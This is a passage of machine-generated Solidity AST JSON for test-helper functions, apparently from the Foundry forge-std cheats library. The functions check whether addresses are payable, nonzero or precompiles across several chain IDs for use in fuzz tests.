external"}},"id":4107,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"9096:39:3","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":4108,"nodeType":"ExpressionStatement","src":"9096:39:3"},{"expression":{"arguments":[{"id":4112,"name":"addr","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":4048,"src":"9153:4:3","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},{"id":4113,"name":"origBalanceAddr","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":4070,"src":"9159:15:3","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address","typeString":"address"},{"typeIdentifier":"t_uint256","typeString":"uint256"}],"expression":{"id":4109,"name":"vm","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":3504,"src":"9145:2:3","typeDescriptions":{"typeIdentifier":"t_contract$_Vm_$15673","typeString":"contract Vm"}},"id":4111,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"9148:4:3","memberName":"deal","nodeType":"MemberAccess","referencedDeclaration":15193,"src":"9145:7:3","typeDescriptions":{"typeIdentifier":"t_function_external_nonpayable$_t_address_$_t_uint256_$returns$__$","typeString":"function (address,uint256) external"}},"id":4114,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"9145:30:3","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":4115,"nodeType":"ExpressionStatement","src":"9145:30:3"},{"expression":{"id":4116,"name":"success","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":4088,"src":"9193:7:3","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"functionReturnParameters":4052,"id":4117,"nodeType":"Return","src":"9186:14:3"}]},"implemented":true,"kind":"function","modifiers":[],"name":"_isPayable","nameLocation":"8624:10:3","parameters":{"id":4049,"nodeType":"ParameterList","parameters":[{"constant":false,"id":4048,"mutability":"mutable","name":"addr","nameLocation":"8643:4:3","nodeType":"VariableDeclaration","scope":4119,"src":"8635:12:3","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":4047,"name":"address","nodeType":"ElementaryTypeName","src":"8635:7:3","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"}],"src":"8634:14:3"},"returnParameters":{"id":4052,"nodeType":"ParameterList","parameters":[{"constant":false,"id":4051,"mutability":"mutable","name":"","nameLocation":"-1:-1:-1","nodeType":"VariableDeclaration","scope":4119,"src":"8666:4:3","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":4050,"name":"bool","nodeType":"ElementaryTypeName","src":"8666:4:3","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"internal"}],"src":"8665:6:3"},"scope":5537,"stateMutability":"nonpayable","virtual":false,"visibility":"private"},{"id":4133,"nodeType":"FunctionDefinition","src":"9458:98:3","nodes":[],"body":{"id":4132,"nodeType":"Block","src":"9512:44:3","nodes":[],"statements":[{"expression":{"arguments":[{"arguments":[{"id":4128,"name":"addr","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":4121,"src":"9543:4:3","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address","typeString":"address"}],"id":4127,"name":"_isPayable","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":4119,"src":"9532:10:3","typeDescriptions":{"typeIdentifier":"t_function_internal_nonpayable$_t_address_$returns$_t_bool_$","typeString":"function (address) returns (bool)"}},"id":4129,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"9532:16:3","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bool","typeString":"bool"}],"expression":{"id":4124,"name":"vm","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":3504,"src":"9522:2:3","typeDescriptions":{"typeIdentifier":"t_contract$_Vm_$15673","typeString":"contract Vm"}},"id":4126,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"9525:6:3","memberName":"assume","nodeType":"MemberAccess","referencedDeclaration":14659,"src":"9522:9:3","typeDescriptions":{"typeIdentifier":"t_function_external_pure$_t_bool_$returns$__$","typeString":"function (bool) pure external"}},"id":4130,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"9522:27:3","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":4131,"nodeType":"ExpressionStatement","src":"9522:27:3"}]},"implemented":true,"kind":"function","modifiers":[],"name":"assumePayable","nameLocation":"9467:13:3","parameters":{"id":4122,"nodeType":"ParameterList","parameters":[{"constant":false,"id":4121,"mutability":"mutable","name":"addr","nameLocation":"9489:4:3","nodeType":"VariableDeclaration","scope":4133,"src":"9481:12:3","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":4120,"name":"address","nodeType":"ElementaryTypeName","src":"9481:7:3","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"}],"src":"9480:14:3"},"returnParameters":{"id":4123,"nodeType":"ParameterList","parameters":[],"src":"9512:0:3"},"scope":5537,"stateMutability":"nonpayable","virtual":true,"visibility":"internal"},{"id":4148,"nodeType":"FunctionDefinition","src":"9562:102:3","nodes":[],"body":{"id":4147,"nodeType":"Block","src":"9619:45:3","nodes":[],"statements":[{"expression":{"arguments":[{"id":4144,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"nodeType":"UnaryOperation","operator":"!","prefix":true,"src":"9639:17:3","subExpression":{"arguments":[{"id":4142,"name":"addr","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":4135,"src":"9651:4:3","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address","typeString":"address"}],"id":4141,"name":"_isPayable","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":4119,"src":"9640:10:3","typeDescriptions":{"typeIdentifier":"t_function_internal_nonpayable$_t_address_$returns$_t_bool_$","typeString":"function (address) returns (bool)"}},"id":4143,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"9640:16:3","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bool","typeString":"bool"}],"expression":{"id":4138,"name":"vm","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":3504,"src":"9629:2:3","typeDescriptions":{"typeIdentifier":"t_contract$_Vm_$15673","typeString":"contract Vm"}},"id":4140,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"9632:6:3","memberName":"assume","nodeType":"MemberAccess","referencedDeclaration":14659,"src":"9629:9:3","typeDescriptions":{"typeIdentifier":"t_function_external_pure$_t_bool_$returns$__$","typeString":"function (bool) pure external"}},"id":4145,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"9629:28:3","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":4146,"nodeType":"ExpressionStatement","src":"9629:28:3"}]},"implemented":true,"kind":"function","modifiers":[],"name":"assumeNotPayable","nameLocation":"9571:16:3","parameters":{"id":4136,"nodeType":"ParameterList","parameters":[{"constant":false,"id":4135,"mutability":"mutable","name":"addr","nameLocation":"9596:4:3","nodeType":"VariableDeclaration","scope":4148,"src":"9588:12:3","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":4134,"name":"address","nodeType":"ElementaryTypeName","src":"9588:7:3","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"}],"src":"9587:14:3"},"returnParameters":{"id":4137,"nodeType":"ParameterList","parameters":[],"src":"9619:0:3"},"scope":5537,"stateMutability":"nonpayable","virtual":true,"visibility":"internal"},{"id":4165,"nodeType":"FunctionDefinition","src":"9670:112:3","nodes":[],"body":{"id":4164,"nodeType":"Block","src":"9736:46:3","nodes":[],"statements":[{"expression":{"arguments":[{"commonType":{"typeIdentifier":"t_address","typeString":"address"},"id":4161,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftExpression":{"id":4156,"name":"addr","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":4150,"src":"9756:4:3","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"nodeType":"BinaryOperation","operator":"!=","rightExpression":{"arguments":[{"hexValue":"30","id":4159,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"9772:1:3","typeDescriptions":{"typeIdentifier":"t_rational_0_by_1","typeString":"int_const 0"},"value":"0"}],"expression":{"argumentTypes":[{"typeIdentifier":"t_rational_0_by_1","typeString":"int_const 0"}],"id":4158,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"nodeType":"ElementaryTypeNameExpression","src":"9764:7:3","typeDescriptions":{"typeIdentifier":"t_type$_t_address_$","typeString":"type(address)"},"typeName":{"id":4157,"name":"address","nodeType":"ElementaryTypeName","src":"9764:7:3","typeDescriptions":{}}},"id":4160,"isConstant":false,"isLValue":false,"isPure":true,"kind":"typeConversion","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"9764:10:3","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"src":"9756:18:3","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bool","typeString":"bool"}],"expression":{"id":4153,"name":"vm","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":3504,"src":"9746:2:3","typeDescriptions":{"typeIdentifier":"t_contract$_Vm_$15673","typeString":"contract Vm"}},"id":4155,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"9749:6:3","memberName":"assume","nodeType":"MemberAccess","referencedDeclaration":14659,"src":"9746:9:3","typeDescriptions":{"typeIdentifier":"t_function_external_pure$_t_bool_$returns$__$","typeString":"function (bool) pure external"}},"id":4162,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"9746:29:3","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":4163,"nodeType":"ExpressionStatement","src":"9746:29:3"}]},"implemented":true,"kind":"function","modifiers":[],"name":"assumeNotZeroAddress","nameLocation":"9679:20:3","parameters":{"id":4151,"nodeType":"ParameterList","parameters":[{"constant":false,"id":4150,"mutability":"mutable","name":"addr","nameLocation":"9708:4:3","nodeType":"VariableDeclaration","scope":4165,"src":"9700:12:3","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":4149,"name":"address","nodeType":"ElementaryTypeName","src":"9700:7:3","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"}],"src":"9699:14:3"},"returnParameters":{"id":4152,"nodeType":"ParameterList","parameters":[],"src":"9736:0:3"},"scope":5537,"stateMutability":"pure","virtual":true,"visibility":"internal"},{"id":4177,"nodeType":"FunctionDefinition","src":"9788:123:3","nodes":[],"body":{"id":4176,"nodeType":"Block","src":"9853:58:3","nodes":[],"statements":[{"expression":{"arguments":[{"id":4171,"name":"addr","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":4167,"src":"9883:4:3","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},{"arguments":[],"expression":{"argumentTypes":[],"id":4172,"name":"_pureChainId","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":5536,"src":"9889:12:3","typeDescriptions":{"typeIdentifier":"t_function_internal_pure$__$returns$_t_uint256_$","typeString":"function () pure returns (uint256)"}},"id":4173,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"9889:14:3","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address","typeString":"address"},{"typeIdentifier":"t_uint256","typeString":"uint256"}],"id":4170,"name":"assumeNotPrecompile","nodeType":"Identifier","overloadedDeclarations":[4177,4320],"referencedDeclaration":4320,"src":"9863:19:3","typeDescriptions":{"typeIdentifier":"t_function_internal_pure$_t_address_$_t_uint256_$returns$__$","typeString":"function (address,uint256) pure"}},"id":4174,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"9863:41:3","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":4175,"nodeType":"ExpressionStatement","src":"9863:41:3"}]},"implemented":true,"kind":"function","modifiers":[],"name":"assumeNotPrecompile","nameLocation":"9797:19:3","parameters":{"id":4168,"nodeType":"ParameterList","parameters":[{"constant":false,"id":4167,"mutability":"mutable","name":"addr","nameLocation":"9825:4:3","nodeType":"VariableDeclaration","scope":4177,"src":"9817:12:3","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":4166,"name":"address","nodeType":"ElementaryTypeName","src":"9817:7:3","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"}],"src":"9816:14:3"},"returnParameters":{"id":4169,"nodeType":"ParameterList","parameters":[],"src":"9853:0:3"},"scope":5537,"stateMutability":"pure","virtual":true,"visibility":"internal"},{"id":4320,"nodeType":"FunctionDefinition","src":"9917:1788:3","nodes":[],"body":{"id":4319,"nodeType":"Block","src":"9999:1706:3","nodes":[],"statements":[{"expression":{"arguments":[{"commonType":{"typeIdentifier":"t_bool","typeString":"bool"},"id":4199,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftExpression":{"commonType":{"typeIdentifier":"t_address","typeString":"address"},"id":4192,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftExpression":{"id":4187,"name":"addr","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":4179,"src":"10297:4:3","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"nodeType":"BinaryOperation","operator":"<","rightExpression":{"arguments":[{"hexValue":"307831","id":4190,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"10312:3:3","typeDescriptions":{"typeIdentifier":"t_rational_1_by_1","typeString":"int_const 1"},"value":"0x1"}],"expression":{"argumentTypes":[{"typeIdentifier":"t_rational_1_by_1","typeString":"int_const 1"}],"id":4189,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"nodeType":"ElementaryTypeNameExpression","src":"10304:7:3","typeDescriptions":{"typeIdentifier":"t_type$_t_address_$","typeString":"type(address)"},"typeName":{"id":4188,"name":"address","nodeType":"ElementaryTypeName","src":"10304:7:3","typeDescriptions":{}}},"id":4191,"isConstant":false,"isLValue":false,"isPure":true,"kind":"typeConversion","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"10304:12:3","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"src":"10297:19:3","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"nodeType":"BinaryOperation","operator":"||","rightExpression":{"commonType":{"typeIdentifier":"t_address","typeString":"address"},"id":4198,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftExpression":{"id":4193,"name":"addr","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":4179,"src":"10320:4:3","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"nodeType":"BinaryOperation","operator":">","rightExpression":{"arguments":[{"hexValue":"307839","id":4196,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"10335:3:3","typeDescriptions":{"typeIdentifier":"t_rational_9_by_1","typeString":"int_const 9"},"value":"0x9"}],"expression":{"argumentTypes":[{"typeIdentifier":"t_rational_9_by_1","typeString":"int_const 9"}],"id":4195,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"nodeType":"ElementaryTypeNameExpression","src":"10327:7:3","typeDescriptions":{"typeIdentifier":"t_type$_t_address_$","typeString":"type(address)"},"typeName":{"id":4194,"name":"address","nodeType":"ElementaryTypeName","src":"10327:7:3","typeDescriptions":{}}},"id":4197,"isConstant":false,"isLValue":false,"isPure":true,"kind":"typeConversion","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"10327:12:3","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"src":"10320:19:3","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"src":"10297:42:3","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bool","typeString":"bool"}],"expression":{"id":4184,"name":"vm","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":3504,"src":"10287:2:3","typeDescriptions":{"typeIdentifier":"t_contract$_Vm_$15673","typeString":"contract Vm"}},"id":4186,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"10290:6:3","memberName":"assume","nodeType":"MemberAccess","referencedDeclaration":14659,"src":"10287:9:3","typeDescriptions":{"typeIdentifier":"t_function_external_pure$_t_bool_$returns$__$","typeString":"function (bool) pure external"}},"id":4200,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"10287:53:3","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":4201,"nodeType":"ExpressionStatement","src":"10287:53:3"},{"condition":{"commonType":{"typeIdentifier":"t_bool","typeString":"bool"},"id":4208,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftExpression":{"commonType":{"typeIdentifier":"t_uint256","typeString":"uint256"},"id":4204,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftExpression":{"id":4202,"name":"chainId","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":4181,"src":"10390:7:3","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"nodeType":"BinaryOperation","operator":"==","rightExpression":{"hexValue":"3130","id":4203,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"10401:2:3","typeDescriptions":{"typeIdentifier":"t_rational_10_by_1","typeString":"int_const 10"},"value":"10"},"src":"10390:13:3","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"nodeType":"BinaryOperation","operator":"||","rightExpression":{"commonType":{"typeIdentifier":"t_uint256","typeString":"uint256"},"id":4207,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftExpression":{"id":4205,"name":"chainId","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":4181,"src":"10407:7:3","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"nodeType":"BinaryOperation","operator":"==","rightExpression":{"hexValue":"343230","id":4206,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"10418:3:3","typeDescriptions":{"typeIdentifier":"t_rational_420_by_1","typeString":"int_const 420"},"value":"420"},"src":"10407:14:3","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"src":"10390:31:3","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"falseBody":{"condition":{"commonType":{"typeIdentifier":"t_bool","typeString":"bool"},"id":4234,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftExpression":{"commonType":{"typeIdentifier":"t_uint256","typeString":"uint256"},"id":4230,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftExpression":{"id":4228,"name":"chainId","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":4181,"src":"10739:7:3","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"nodeType":"BinaryOperation","operator":"==","rightExpression":{"hexValue":"3432313631","id":4229,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"10750:5:3","typeDescriptions":{"typeIdentifier":"t_rational_42161_by_1","typeString":"int_const 42161"},"value":"42161"},"src":"10739:16:3","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"nodeType":"BinaryOperation","operator":"||","rightExpression":{"commonType":{"typeIdentifier":"t_uint256","typeString":"uint256"},"id":4233,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftExpression":{"id":4231,"name":"chainId","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":4181,"src":"10759:7:3","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"nodeType":"BinaryOperation","operator":"==","rightExpression":{"hexValue":"343231363133","id":4232,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"10770:6:3","typeDescriptions":{"typeIdentifier":"t_rational_421613_by_1","typeString":"int_const 421613"},"value":"421613"},"src":"10759:17:3","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"src":"10739:37:3","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"falseBody":{"condition":{"commonType":{"typeIdentifier":"t_bool","typeString":"bool"},"id":4260,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftExpression":{"commonType":{"typeIdentifier":"t_uint256","typeString":"uint256"},"id":4256,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftExpression":{"id":4254,"name":"chainId","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":4181,"src":"11053:7:3","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"nodeType":"BinaryOperation","operator":"==","rightExpression":{"hexValue":"3433313134","id":4255,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"11064:5:3","typeDescriptions":{"typeIdentifier":"t_rational_43114_by_1","typeString":"int_const 43114"},"value":"43114"},"src":"11053:16:3","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"nodeType":"BinaryOperation","operator":"||","rightExpression":{"commonType":{"typeIdentifier":"t_uint256","typeString":"uint256"},"id":4259,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftExpression":{"id":4257,"name":"chainId","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":4181,"src":"11073:7:3","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"nodeType":"BinaryOperation","operator":"==","rightExpression":{"hexValue":"3433313133","id":4258,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"11084:5:3","typeDescriptions":{"typeIdentifier":"t_rational_43113_by_1","typeString":"int_const 43113"},"value":"43113"},"src":"11073:16:3","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"src":"11053:36:3","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"id":4316,"nodeType":"IfStatement","src":"11049:617:3","trueBody":{"id":4315,"nodeType":"Block","src":"11091:575:3","statements":[{"expression":{"arguments":[{"commonType":{"typeIdentifier":"t_bool","typeString":"bool"},"id":4276,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftExpression":{"commonType":{"typeIdentifier":"t_address","typeString":"address"},"id":4269,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftExpression":{"id":4264,"name":"addr","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":4179,"src":"11244:4:3","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"nodeType":"BinaryOperation","operator":"<","rightExpression":{"arguments":[{"hexValue":"307830313030303030303030303030303030303030303030303030303030303030303030303030303030","id":4267,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"11259:42:3","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"value":"0x0100000000000000000000000000000000000000"}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address","typeString":"address"}],"id":4266,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"nodeType":"ElementaryTypeNameExpression","src":"11251:7:3","typeDescriptions":{"typeIdentifier":"t_type$_t_address_$","typeString":"type(address)"},"typeName":{"id":4265,"name":"address","nodeType":"ElementaryTypeName","src":"11251:7:3","typeDescriptions":{}}},"id":4268,"isConstant":false,"isLValue":false,"isPure":true,"kind":"typeConversion","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"11251:51:3","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"src":"11244:58:3","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"nodeType":"BinaryOperation","operator":"||","rightExpression":{"commonType":{"typeIdentifier":"t_address","typeString":"address"},"id":4275,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftExpression":{"id":4270,"name":"addr","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":4179,"src":"11306:4:3","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"nodeType":"BinaryOperation","operator":">","rightExpression":{"arguments":[{"hexValue":"307830313030303030303030303030303030303030303030303030303030303030303030303030306666","id":4273,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"11321:42:3","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"value":"0x01000000000000000000000000000000000000ff"}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address","typeString":"address"}],"id":4272,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"nodeType":"ElementaryTypeNameExpression","src":"11313:7:3","typeDescriptions":{"typeIdentifier":"t_type$_t_address_$","typeString":"type(address)"},"typeName":{"id":4271,"name":"address","nodeType":"ElementaryTypeName","src":"11313:7:3","typeDescriptions":{}}},"id":4274,"isConstant":false,"isLValue":false,"isPure":true,"kind":"typeConversion","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"11313:51:3","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"src":"11306:58:3","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"src":"11244:120:3","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bool","typeString":"bool"}],"expression":{"id":4261,"name":"vm","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":3504,"src":"11234:2:3","typeDescriptions":{"typeIdentifier":"t_contract$_Vm_$15673","typeString":"contract Vm"}},"id":4263,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"11237:6:3","memberName":"assume","nodeType":"MemberAccess","referencedDeclaration":14659,"src":"11234:9:3","typeDescriptions":{"typeIdentifier":"t_function_external_pure$_t_bool_$returns$__$","typeString":"function (bool) pure external"}},"id":4277,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"11234:131:3","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":4278,"nodeType":"ExpressionStatement","src":"11234:131:3"},{"expression":{"arguments":[{"commonType":{"typeIdentifier":"t_bool","typeString":"bool"},"id":4294,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftExpression":{"commonType":{"typeIdentifier":"t_address","typeString":"address"},"id":4287,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftExpression":{"id":4282,"name":"addr","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":4179,"src":"11389:4:3","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"nodeType":"BinaryOperation","operator":"<","rightExpression":{"arguments":[{"hexValue":"307830323030303030303030303030303030303030303030303030303030303030303030303030303030","id":4285,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"11404:42:3","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"value":"0x0200000000000000000000000000000000000000"}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address","typeString":"address"}],"id":4284,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"nodeType":"ElementaryTypeNameExpression","src":"11396:7:3","typ